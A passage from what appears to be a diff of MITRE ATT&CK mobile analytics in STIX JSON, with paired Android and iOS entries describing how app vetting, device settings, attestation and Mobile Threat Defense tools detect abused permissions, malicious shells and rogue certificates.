"x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f2ed160-9093-4b1f-b781-8660552bf1e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0648#AN1729", + "external_id": "AN1729" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1729", + "description": "Application vetting services can detect unnecessary and potentially abused location permissions.\nOn Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.\nApplication vetting services can detect unnecessary and potentially abused API calls.\nThe user can review which applications have location permissions in the operating system\u2019s settings menu.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--75c4eac4-c61c-4d02-acd9-ec8f5b6cfaff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0649#AN1730", + "external_id": "AN1730" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1730", + "description": "This behavior is seamless to the user and is typically undetectable.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d5926b94-833c-4b29-b611-059f72fcda84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0650#AN1731", + "external_id": "AN1731" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1731", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6c776c7a-0e2f-4963-9485-aa90149ae68e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0650#AN1732", + "external_id": "AN1732" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1732", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--50e52979-5f21-4a02-99f3-fc1858b73369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0651#AN1733", + "external_id": "AN1733" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1733", + "description": "Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity.\nThe user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4773bc29-5272-45d5-92bd-b24a34b16df6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0651#AN1734", + "external_id": "AN1734" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1734", + "description": "Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity.\nThe user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3fe80400-0e8c-4ffa-8233-cebf7511613c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0652#AN1735", + "external_id": "AN1735" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1735", + "description": "Application vetting services may detect when an application requests permissions after an application update.\nApplication vetting services may look for indications that the application\u2019s update includes malicious code at runtime. \nApplication vetting services may be able to list domains and/or IP addresses that applications communicate with.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--095c16b2-3d9a-445a-82a4-fa7affd928f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0652#AN1736", + "external_id": "AN1736" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1736", + "description": "Application vetting services may detect when an application requests permissions after an application update.\nApplication vetting services may look for indications that the application\u2019s update includes malicious code at runtime. \nApplication vetting services may be able to list domains and/or IP addresses that applications communicate with.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31d95dc7-aec7-47a2-bbb4-8b20ca3bc184", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0653#AN1737", + "external_id": "AN1737" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1737", + "description": "The user can review which applications have location and sensitive phone information permissions in the operating system\u2019s settings menu. \nApplication vetting services can detect unnecessary and potentially abused API calls.\nApplication vetting services can detect unnecessary and potentially abused permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--28304317-cbde-45cd-bf0b-99b5cd8d1478", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0653#AN1738", + "external_id": "AN1738" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1738", + "description": "The user can review which applications have location and sensitive phone information permissions in the operating system\u2019s settings menu. \nApplication vetting services can detect unnecessary and potentially abused API calls.\nApplication vetting services can detect unnecessary and potentially abused permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e8bfbaf2-cfa8-41fd-a5ee-48b57026ac7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0654#AN1739", + "external_id": "AN1739" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1739", + "description": "On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--007a370c-be77-49c9-9ca3-25d50de35864", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0654#AN1740", + "external_id": "AN1740" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1740", + "description": "On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a4242809-30bc-4c00-b247-b6cc11644a07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0655#AN1741", + "external_id": "AN1741" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1741", + "description": "Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells.\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77c81bf1-beef-429a-a426-a716b489383a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0655#AN1742", + "external_id": "AN1742" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1742", + "description": "Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells.\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9253e546-bc55-42c1-bf8c-b4337a1ea5b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0656#AN1743", + "external_id": "AN1743" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1743", + "description": "When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\nOn Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a463850-89e6-4de8-bd8d-20fd70dff959", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0656#AN1744", + "external_id": "AN1744" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1744", + "description": "When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\nOn Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b972ebf0-16d1-4bc2-980b-e8cb0947affa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0657#AN1745", + "external_id": "AN1745" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1745", + "description": "On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.\n\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f3da45bb-921e-4b4c-8fc3-666c7a37dea6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0657#AN1746", + "external_id": "AN1746" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1746", + "description": "On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.\n\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": 